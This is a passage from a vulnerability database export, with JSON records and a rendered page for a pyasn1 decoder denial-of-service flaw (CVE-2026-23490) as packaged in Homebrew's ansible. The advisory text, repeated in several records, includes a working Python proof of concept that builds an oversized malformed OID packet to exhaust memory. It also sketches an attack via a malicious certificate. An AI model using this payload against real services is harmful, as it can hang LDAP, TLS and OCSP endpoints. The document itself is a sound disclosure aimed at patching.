      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-ansible@10-CVE-2026-23490",
      "modified": "2026-10-08T00:10:56Z",
      "published": "2026-08-13T16:35:22Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-ANSIBLE@12-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-10-07 22:50 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.4",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible@12",
            "purl": "pkg:brew/ansible%4012"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "12.2.0"
                },
                {
                  "fixed": "12.3.0_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.4",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.4"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-ansible@12-CVE-2026-23490",
      "modified": "2026-10-07T22:50:17Z",
      "published": "2026-08-13T16:35:22Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
